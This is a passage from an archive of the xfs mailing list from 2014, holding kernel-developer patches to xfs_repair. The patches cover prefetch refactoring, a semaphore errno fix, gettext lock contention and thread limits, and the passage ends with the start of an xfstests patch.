repair/phase6.c | 22 ++++------------- repair/prefetch.c | 71 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ repair/prefetch.h | 10 ++++++++ 6 files changed, 98 insertions(+), 108 deletions(-) diff --git a/repair/dinode.h b/repair/dinode.h index 7521521..5ee51ca 100644 --- a/repair/dinode.h +++ b/repair/dinode.h @@ -18,9 +18,8 @@ #ifndef _XR_DINODE_H #define _XR_DINODE_H -#include "prefetch.h" - struct blkmap; +struct prefetch_args; int verify_agbno(xfs_mount_t *mp, @@ -103,12 +102,12 @@ int process_uncertain_aginodes(xfs_mount_t *mp, xfs_agnumber_t agno); void -process_aginodes(xfs_mount_t *mp, - prefetch_args_t *pf_args, - xfs_agnumber_t agno, - int check_dirs, - int check_dups, - int extra_attr_check); +process_aginodes(xfs_mount_t *mp, + struct prefetch_args *pf_args, + xfs_agnumber_t agno, + int check_dirs, + int check_dups, + int extra_attr_check); void check_uncertain_aginodes(xfs_mount_t *mp, diff --git a/repair/phase3.c b/repair/phase3.c index 3e43938..213d368 100644 --- a/repair/phase3.c +++ b/repair/phase3.c @@ -17,6 +17,8 @@ */ #include +#include "threads.h" +#include "prefetch.h" #include "avl.h" #include "globals.h" #include "agheader.h" @@ -24,9 +26,7 @@ #include "protos.h" #include "err_protos.h" #include "dinode.h" -#include "threads.h" #include "progress.h" -#include "prefetch.h" static void process_agi_unlinked( @@ -82,41 +82,7 @@ static void process_ags( xfs_mount_t *mp) { - int i, j; - xfs_agnumber_t agno; - work_queue_t *queues; - prefetch_args_t *pf_args[2]; - - queues = malloc(thread_count * sizeof(work_queue_t)); - - if (ag_stride) { - /* - * create one worker thread for each segment of the volume - */ - for (i = 0, agno = 0; i < thread_count; i++) { - create_work_queue(&queues[i], mp, 1); - pf_args[0] = NULL; - for (j = 0; j < ag_stride && agno < mp->m_sb.sb_agcount; - j++, agno++) { - pf_args[0] = start_inode_prefetch(agno, 0, pf_args[0]); - queue_work(&queues[i], process_ag_func, agno, pf_args[0]); - } - } - /* - * wait for workers to complete - */ - for (i = 0; i < thread_count; i++) - destroy_work_queue(&queues[i]); - } else { - queues[0].mp = mp; - pf_args[0] = start_inode_prefetch(0, 0, NULL); - for (i = 0; i < mp->m_sb.sb_agcount; i++) { - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, 0, - pf_args[i & 1]); - process_ag_func(&queues[0], i, pf_args[i & 1]); - } - } - free(queues); + do_inode_prefetch(mp, ag_stride, process_ag_func, false, false); } void diff --git a/repair/phase4.c b/repair/phase4.c index a822aaa..189eeb9 100644 --- a/repair/phase4.c +++ b/repair/phase4.c @@ -17,6 +17,8 @@ */ #include +#include "threads.h" +#include "prefetch.h" #include "avl.h" #include "globals.h" #include "agheader.h" @@ -27,9 +29,7 @@ #include "bmap.h" #include "versions.h" #include "dir2.h" -#include "threads.h" #include "progress.h" -#include "prefetch.h" /* @@ -150,49 +150,7 @@ static void process_ags( xfs_mount_t *mp) { - int i, j; - xfs_agnumber_t agno; - work_queue_t *queues; - prefetch_args_t *pf_args[2]; - - queues = malloc(thread_count * sizeof(work_queue_t)); - - if (!libxfs_bcache_overflowed()) { - queues[0].mp = mp; - create_work_queue(&queues[0], mp, libxfs_nproc()); - for (i = 0; i < mp->m_sb.sb_agcount; i++) - queue_work(&queues[0], process_ag_func, i, NULL); - destroy_work_queue(&queues[0]); - } else { - if (ag_stride) { - /* - * create one worker thread for each segment of the volume - */ - for (i = 0, agno = 0; i < thread_count; i++) { - create_work_queue(&queues[i], mp, 1); - pf_args[0] = NULL; - for (j = 0; j < ag_stride && agno < mp->m_sb.sb_agcount; - j++, agno++) { - pf_args[0] = start_inode_prefetch(agno, 0, pf_args[0]); - queue_work(&queues[i], process_ag_func, agno, pf_args[0]); - } - } - /* - * wait for workers to complete - */ - for (i = 0; i < thread_count; i++) - destroy_work_queue(&queues[i]); - } else { - queues[0].mp = mp; - pf_args[0] = start_inode_prefetch(0, 0, NULL); - for (i = 0; i < mp->m_sb.sb_agcount; i++) { - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, - 0, pf_args[i & 1]); - process_ag_func(&queues[0], i, pf_args[i & 1]); - } - } - } - free(queues); + do_inode_prefetch(mp, ag_stride, process_ag_func, true, false); } diff --git a/repair/phase6.c b/repair/phase6.c index cdbf4db..08f78d2 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -17,6 +17,8 @@ */ #include +#include "threads.h" +#include "prefetch.h" #include "avl.h" #include "globals.h" #include "agheader.h" @@ -25,9 +27,7 @@ #include "protos.h" #include "err_protos.h" #include "dinode.h" -#include "prefetch.h" #include "progress.h" -#include "threads.h" #include "versions.h" static struct cred zerocr; @@ -3031,23 +3031,9 @@ update_missing_dotdot_entries( static void traverse_ags( - xfs_mount_t *mp) + struct xfs_mount *mp) { - int i; - work_queue_t queue; - prefetch_args_t *pf_args[2]; - - /* - * we always do prefetch for phase 6 as it will fill in the gaps - * not read during phase 3 prefetch. - */ - queue.mp = mp; - pf_args[0] = start_inode_prefetch(0, 1, NULL); - for (i = 0; i < glob_agcount; i++) { - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, 1, - pf_args[i & 1]); - traverse_function(&queue, i, pf_args[i & 1]); - } + do_inode_prefetch(mp, 0, traverse_function, true, true); } void diff --git a/repair/prefetch.c b/repair/prefetch.c index 984beda..e573e35 100644 --- a/repair/prefetch.c +++ b/repair/prefetch.c @@ -865,6 +865,77 @@ start_inode_prefetch( return args; } +/* + * Do inode prefetch in the most optimal way for the context under which repair + * has been run. + */ +void +do_inode_prefetch( + struct xfs_mount *mp, + int stride, + void (*func)(struct work_queue *, + xfs_agnumber_t, void *), + bool check_cache, + bool dirs_only) +{ + int i, j; + xfs_agnumber_t agno; + struct work_queue queue; + struct work_queue *queues; + struct prefetch_args *pf_args[2]; + + /* + * If the previous phases of repair have not overflowed the buffer + * cache, then we don't need to re-read any of the metadata in the + * filesystem - it's all in the cache. In that case, run a thread per + * CPU to maximise parallelism of the queue to be processed. + */ + if (check_cache && !libxfs_bcache_overflowed()) { + queue.mp = mp; + create_work_queue(&queue, mp, libxfs_nproc()); + for (i = 0; i < mp->m_sb.sb_agcount; i++) + queue_work(&queue, func, i, NULL); + destroy_work_queue(&queue); + return; + } + + /* + * single threaded behaviour - single prefetch thread, processed + * directly after each AG is queued. + */ + if (!stride) { + queue.mp = mp; + pf_args[0] = start_inode_prefetch(0, dirs_only, NULL); + for (i = 0; i < mp->m_sb.sb_agcount; i++) { + pf_args[(~i) & 1] = start_inode_prefetch(i + 1, + dirs_only, pf_args[i & 1]); + func(&queue, i, pf_args[i & 1]); + } + return; + } + + /* + * create one worker thread for each segment of the volume + */ + queues = malloc(thread_count * sizeof(work_queue_t)); + for (i = 0, agno = 0; i < thread_count; i++) { + create_work_queue(&queues[i], mp, 1); + pf_args[0] = NULL; + for (j = 0; j < stride && agno < mp->m_sb.sb_agcount; + j++, agno++) { + pf_args[0] = start_inode_prefetch(agno, dirs_only, + pf_args[0]); + queue_work(&queues[i], func, agno, pf_args[0]); + } + } + /* + * wait for workers to complete + */ + for (i = 0; i < thread_count; i++) + destroy_work_queue(&queues[i]); + free(queues); +} + void wait_for_inode_prefetch( prefetch_args_t *args) diff --git a/repair/prefetch.h b/repair/prefetch.h index 44a406c..b837752 100644 --- a/repair/prefetch.h +++ b/repair/prefetch.h @@ -4,6 +4,7 @@ #include #include "incore.h" +struct work_queue; extern int do_prefetch; @@ -41,6 +42,15 @@ start_inode_prefetch( prefetch_args_t *prev_args); void +do_inode_prefetch( + struct xfs_mount *mp, + int stride, + void (*func)(struct work_queue *, + xfs_agnumber_t, void *), + bool check_cache, + bool dirs_only); + +void wait_for_inode_prefetch( prefetch_args_t *args); -- 1.8.4.rc3 From dave@fromorbit.com Mon Feb 24 00:29:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 00DDB7F69 for ; Mon, 24 Feb 2014 00:29:42 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id AAA148F8037 for ; Sun, 23 Feb 2014 22:29:42 -0800 (PST) X-ASG-Debug-ID: 1393223378-04bdf00fc9328de0003-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id kU9Q00pGn65Tr41G for ; Sun, 23 Feb 2014 22:29:41 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoIGAETmClN5LJYe/2dsb2JhbABZgwbDBhd0giUBAQUnLzMIGDE5AxsZiATGPxeODAF0hCIEqluDQSiBLAEf Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 16:59:34 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHp2h-0004rq-WE for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:32 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHp2h-0001Lm-VF for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 09/10] repair: fix prefetch queue limiting Date: Mon, 24 Feb 2014 17:29:28 +1100 X-ASG-Orig-Subj: [PATCH 09/10] repair: fix prefetch queue limiting Message-Id: <1393223369-4696-10-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393223369-4696-1-git-send-email-david@fromorbit.com> References: <1393223369-4696-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393223380 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145451 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The length of the prefetch queue is limited by a semaphore. To avoid a ABBA deadlock, we only trywait on the semaphore so if we fail to get it we can kick the IO queues before sleeping. Unfortunately, the "need to sleep" detection is just a little wrong - it needs to lok at errno, not err for the EAGAIN value. Hence this queue throttling has not been working for a long time. Signed-off-by: Dave Chinner --- repair/phase6.c | 9 ++++++++- repair/prefetch.c | 2 +- 2 files changed, 9 insertions(+), 2 deletions(-) diff --git a/repair/phase6.c b/repair/phase6.c index c8bfa09..ff16120 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -2999,8 +2999,15 @@ traverse_function( if (irec->ino_isa_dir == 0) continue; - if (pf_args) + if (pf_args) { sem_post(&pf_args->ra_count); +#ifdef XR_PF_TRACE + sem_getvalue(&pf_args->ra_count, &i); + pftrace( + "processing inode chunk %p in AG %d (sem count = %d)", + irec, agno, i); +#endif + } for (i = 0; i < XFS_INODES_PER_CHUNK; i++) { if (inode_isadir(irec, i)) diff --git a/repair/prefetch.c b/repair/prefetch.c index 7135d67..5158863 100644 --- a/repair/prefetch.c +++ b/repair/prefetch.c @@ -723,7 +723,7 @@ pf_queuing_worker( irec, args->agno, i); #endif err = sem_trywait(&args->ra_count); - if (err == EAGAIN) { + if (err < 0 && errno == EAGAIN) { /* * Kick the queue once we have reached the limit; * without this the threads processing the inodes -- 1.8.4.rc3 From dave@fromorbit.com Mon Feb 24 00:29:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4247D7F5D for ; Mon, 24 Feb 2014 00:29:42 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id F37678F8040 for ; Sun, 23 Feb 2014 22:29:41 -0800 (PST) X-ASG-Debug-ID: 1393223376-04bdf0083a20baa0003-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id GQmR2Gl7C0PxM6WE for ; Sun, 23 Feb 2014 22:29:39 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoIGAETmClN5LJYe/2dsb2JhbABZgwbDBhd0giUBAQUnLzMIGDE5AxsZHodmxj8Xjg2FFgSqW4NBKIEt Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 16:59:34 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHp2h-0004ri-Rb for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHp2h-0001L8-Qu for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 01/10] repair: translation lookups limit scalability Date: Mon, 24 Feb 2014 17:29:20 +1100 X-ASG-Orig-Subj: [PATCH 01/10] repair: translation lookups limit scalability Message-Id: <1393223369-4696-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393223369-4696-1-git-send-email-david@fromorbit.com> References: <1393223369-4696-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393223379 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145451 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner A bit of perf magic showed that scalability was limits to 3-4 concurrent threads due to contention on a lock inside in something called __dcigettext(). That some library somewhere that repair is linked against, and it turns out to be inside the translation infrastructure to support the _() string mechanism: # Samples: 34K of event 'cs' # Event count (approx.): 495567 # # Overhead Command Shared Object Symbol # ........ ............. ................. .............. # 60.30% xfs_repair [kernel.kallsyms] [k] __schedule | --- 0x63fffff9c process_bmbt_reclist_int | |--39.95%-- __dcigettext | __lll_lock_wait | system_call_fastpath | SyS_futex | do_futex | futex_wait | futex_wait_queue_me | schedule | __schedule | |--8.91%-- __lll_lock_wait | system_call_fastpath | SyS_futex | do_futex | futex_wait | futex_wait_queue_me | schedule | __schedule --51.13%-- [...] Fix this by initialising global variables that hold the translated strings at startup, hence avoiding the need to do repeated runtime translation of the same strings. Runtime of an unpatched xfs_repair is roughly: XFS_REPAIR Summary Fri Dec 6 11:15:50 2013 Phase Start End Duration Phase 1: 12/06 10:56:21 12/06 10:56:21 Phase 2: 12/06 10:56:21 12/06 10:56:23 2 seconds Phase 3: 12/06 10:56:23 12/06 11:01:31 5 minutes, 8 seconds Phase 4: 12/06 11:01:31 12/06 11:07:08 5 minutes, 37 seconds Phase 5: 12/06 11:07:08 12/06 11:07:09 1 second Phase 6: 12/06 11:07:09 12/06 11:15:49 8 minutes, 40 seconds Phase 7: 12/06 11:15:49 12/06 11:15:50 1 second Total run time: 19 minutes, 29 seconds Patched version: Phase Start End Duration Phase 1: 12/06 10:36:29 12/06 10:36:29 Phase 2: 12/06 10:36:29 12/06 10:36:31 2 seconds Phase 3: 12/06 10:36:31 12/06 10:40:08 3 minutes, 37 seconds Phase 4: 12/06 10:40:08 12/06 10:43:42 3 minutes, 34 seconds Phase 5: 12/06 10:43:42 12/06 10:43:42 Phase 6: 12/06 10:43:42 12/06 10:50:28 6 minutes, 46 seconds Phase 7: 12/06 10:50:28 12/06 10:50:29 1 second Total run time: 14 minutes Big win! Signed-off-by: Dave Chinner --- repair/dinode.c | 49 +++++++++++++++++++++++++++++++++++-------------- repair/dinode.h | 3 +++ repair/scan.c | 7 +------ repair/xfs_repair.c | 2 ++ 4 files changed, 41 insertions(+), 20 deletions(-) diff --git a/repair/dinode.c b/repair/dinode.c index 3115bd0..4953a56 100644 --- a/repair/dinode.c +++ b/repair/dinode.c @@ -32,6 +32,37 @@ #include "threads.h" /* + * gettext lookups for translations of strings use mutexes internally to + * the library. Hence when we come through here doing parallel scans in + * multiple AGs, then all do concurrent text conversions and serialise + * on the translation string lookups. Let's avoid doing repeated lookups + * by making them static variables and only assigning the translation + * once. + */ +static char *forkname_data; +static char *forkname_attr; +static char *ftype_real_time; +static char *ftype_regular; + +void +dinode_bmbt_translation_init(void) +{ + forkname_data = _("data"); + forkname_attr = _("attr"); + ftype_real_time = _("real-time"); + ftype_regular = _("regular"); +} + +char * +get_forkname(int whichfork) +{ + + if (whichfork == XFS_DATA_FORK) + return forkname_data; + return forkname_attr; +} + +/* * inode clearing routines */ @@ -542,7 +573,7 @@ process_bmbt_reclist_int( xfs_dfiloff_t op = 0; /* prev offset */ xfs_dfsbno_t b; char *ftype; - char *forkname; + char *forkname = get_forkname(whichfork); int i; int state; xfs_agnumber_t agno; @@ -552,15 +583,10 @@ process_bmbt_reclist_int( xfs_agnumber_t locked_agno = -1; int error = 1; - if (whichfork == XFS_DATA_FORK) - forkname = _("data"); - else - forkname = _("attr"); - if (type == XR_INO_RTDATA) - ftype = _("real-time"); + ftype = ftype_real_time; else - ftype = _("regular"); + ftype = ftype_regular; for (i = 0; i < *numrecs; i++) { libxfs_bmbt_disk_get_all(rp + i, &irec); @@ -1110,7 +1136,7 @@ process_btinode( xfs_ino_t lino; xfs_bmbt_ptr_t *pp; xfs_bmbt_key_t *pkey; - char *forkname; + char *forkname = get_forkname(whichfork); int i; int level; int numrecs; @@ -1122,11 +1148,6 @@ process_btinode( *tot = 0; *nex = 0; - if (whichfork == XFS_DATA_FORK) - forkname = _("data"); - else - forkname = _("attr"); - magic = xfs_sb_version_hascrc(&mp->m_sb) ? XFS_BMAP_CRC_MAGIC : XFS_BMAP_MAGIC; diff --git a/repair/dinode.h b/repair/dinode.h index d9197c1..7521521 100644 --- a/repair/dinode.h +++ b/repair/dinode.h @@ -127,4 +127,7 @@ get_bmapi(xfs_mount_t *mp, xfs_dfiloff_t bno, int whichfork ); +void dinode_bmbt_translation_init(void); +char * get_forkname(int whichfork); + #endif /* _XR_DINODE_H */ diff --git a/repair/scan.c b/repair/scan.c index 73b4581..b12f48b 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -171,17 +171,12 @@ scan_bmapbt( xfs_bmbt_rec_t *rp; xfs_dfiloff_t first_key; xfs_dfiloff_t last_key; - char *forkname; + char *forkname = get_forkname(whichfork); int numrecs; xfs_agnumber_t agno; xfs_agblock_t agbno; int state; - if (whichfork == XFS_DATA_FORK) - forkname = _("data"); - else - forkname = _("attr"); - /* * unlike the ag freeblock btrees, if anything looks wrong * in an inode bmap tree, just bail. it's possible that diff --git a/repair/xfs_repair.c b/repair/xfs_repair.c index 9e0502a..bac334f 100644 --- a/repair/xfs_repair.c +++ b/repair/xfs_repair.c @@ -29,6 +29,7 @@ #include "prefetch.h" #include "threads.h" #include "progress.h" +#include "dinode.h" #define rounddown(x, y) (((x)/(y))*(y)) @@ -533,6 +534,7 @@ main(int argc, char **argv) setlocale(LC_ALL, ""); bindtextdomain(PACKAGE, LOCALEDIR); textdomain(PACKAGE); + dinode_bmbt_translation_init(); temp_mp = &xfs_m; setbuf(stdout, NULL); -- 1.8.4.rc3 From dave@fromorbit.com Mon Feb 24 00:29:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7C7747F72 for ; Mon, 24 Feb 2014 00:29:43 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E269FAC005 for ; Sun, 23 Feb 2014 22:29:42 -0800 (PST) X-ASG-Debug-ID: 1393223374-04cb6c06cf42b800005-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id dMETUeFdlf5APox7 for ; Sun, 23 Feb 2014 22:29:41 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoIGAETmClN5LJYe/2dsb2JhbABZgwbDBhd0giUBAQVWMwgYMTkDGxmIBMZWjg0JhQ0EqluDQSiBLAEfBA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 16:59:34 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHp2h-0004rl-TC for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHp2h-0001LN-SG for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 04/10] repair: limit auto-striding concurrency apprpriately Date: Mon, 24 Feb 2014 17:29:23 +1100 X-ASG-Orig-Subj: [PATCH 04/10] repair: limit auto-striding concurrency apprpriately Message-Id: <1393223369-4696-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393223369-4696-1-git-send-email-david@fromorbit.com> References: <1393223369-4696-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393223380 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145451 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner It's possible to have filesystems with hundreds of AGs on systems with little concurrency and resources. In this case, we can easily exhaust memory and fail to create threads and have all sorts of interesting problems. xfs/250 can cause this to occur, with failures like: - agno = 707 - agno = 692 fatal error -- cannot create worker threads, error = [11] Resource temporarily unavailable And this: - agno = 484 - agno = 782 failed to create prefetch thread: Resource temporarily unavailable Because it's trying to create more threads than a poor little 512MB single CPU ia32 box can handle. So, limit concurrency to a maximum of numcpus * 8 to prevent this. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster --- include/libxfs.h | 1 + libxfs/init.h | 1 - repair/xfs_repair.c | 21 ++++++++++++++++++++- 3 files changed, 21 insertions(+), 2 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index bb0369f..f688598 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -144,6 +144,7 @@ extern void libxfs_device_close (dev_t); extern int libxfs_device_alignment (void); extern void libxfs_report(FILE *); extern void platform_findsizes(char *path, int fd, long long *sz, int *bsz); +extern int platform_nproc(void); /* check or write log footer: specify device, log size in blocks & uuid */ typedef xfs_caddr_t (libxfs_get_block_t)(xfs_caddr_t, int, void *); diff --git a/libxfs/init.h b/libxfs/init.h index f0b8cb6..112febb 100644 --- a/libxfs/init.h +++ b/libxfs/init.h @@ -31,7 +31,6 @@ extern char *platform_findrawpath (char *path); extern char *platform_findblockpath (char *path); extern int platform_direct_blockdev (void); extern int platform_align_blockdev (void); -extern int platform_nproc(void); extern unsigned long platform_physmem(void); /* in kilobytes */ extern int platform_has_uuid; diff --git a/repair/xfs_repair.c b/repair/xfs_repair.c index bac334f..6327076 100644 --- a/repair/xfs_repair.c +++ b/repair/xfs_repair.c @@ -629,13 +629,32 @@ main(int argc, char **argv) * to target these for an increase in thread count. Hence a stride value * of 15 is chosen to ensure we get at least 2 AGs being scanned at once * on such filesystems. + * + * Limit the maximum thread count based on the available CPU power that + * is available. If we use too many threads, we might run out of memory + * and CPU power before we run out of IO concurrency. We limit to 8 + * threads/CPU as this is enough threads to saturate a CPU on fast + * devices, yet few enough that it will saturate but won't overload slow + * devices. */ if (!ag_stride && glob_agcount >= 16 && do_prefetch) ag_stride = 15; if (ag_stride) { + int max_threads = platform_nproc() * 8; + thread_count = (glob_agcount + ag_stride - 1) / ag_stride; - thread_init(); + while (thread_count > max_threads) { + ag_stride *= 2; + thread_count = (glob_agcount + ag_stride - 1) / + ag_stride; + } + if (thread_count > 0) + thread_init(); + else { + thread_count = 1; + ag_stride = 0; + } } if (ag_stride && report_interval) { -- 1.8.4.rc3 From zhenzhang.zhang@huawei.com Mon Feb 24 04:51:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7D5627F55 for ; Mon, 24 Feb 2014 04:51:49 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5B28B8F8035 for ; Mon, 24 Feb 2014 02:51:46 -0800 (PST) X-ASG-Debug-ID: 1393239099-04bdf0083a219300001-NocioJ Received: from szxga03-in.huawei.com (szxga03-in.huawei.com [119.145.14.66]) by cuda.sgi.com with ESMTP id 0AsimnxDaMljUCnk (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 24 Feb 2014 02:51:42 -0800 (PST) X-Barracuda-Envelope-From: zhenzhang.zhang@huawei.com X-Barracuda-Apparent-Source-IP: 119.145.14.66 Received: from 172.24.2.119 (EHLO szxeml213-edg.china.huawei.com) ([172.24.2.119]) by szxrg03-dlp.huawei.com (MOS 4.4.3-GA FastPath queued) with ESMTP id ALA37478; Mon, 24 Feb 2014 18:51:36 +0800 (CST) Received: from SZXEML424-HUB.china.huawei.com (10.82.67.163) by szxeml213-edg.china.huawei.com (172.24.2.30) with Microsoft SMTP Server (TLS) id 14.3.158.1; Mon, 24 Feb 2014 18:51:12 +0800 Received: from [127.0.0.1] (10.111.69.77) by szxeml424-hub.china.huawei.com (10.82.67.163) with Microsoft SMTP Server id 14.3.158.1; Mon, 24 Feb 2014 18:51:05 +0800 Message-ID: <530B2418.20905@huawei.com> Date: Mon, 24 Feb 2014 18:51:04 +0800 From: ZhangZhen User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20121010 Thunderbird/16.0.1 MIME-Version: 1.0 To: CC: Subject: [PATCH for xfstests] xfstests: fix to make tests/btrfs/013 really work References: <530AF3E3.9060202@huawei.com> X-ASG-Orig-Subj: [PATCH for xfstests] xfstests: fix to make tests/btrfs/013 really work In-Reply-To: <530AF3E3.9060202@huawei.com> X-Forwarded-Message-Id: <530AF3E3.9060202@huawei.com> Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Originating-IP: [10.111.69.77] X-CFilter-Loop: Reflected X-Barracuda-Connect: szxga03-in.huawei.com[119.145.14.66] X-Barracuda-Start-Time: 1393239101 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145457 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The test 013 couldn't work because here lacked "start". This patch fix it. Signed-off-by: Zhang Zhen --- tests/btrfs/013 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/btrfs/013 b/tests/btrfs/013 index 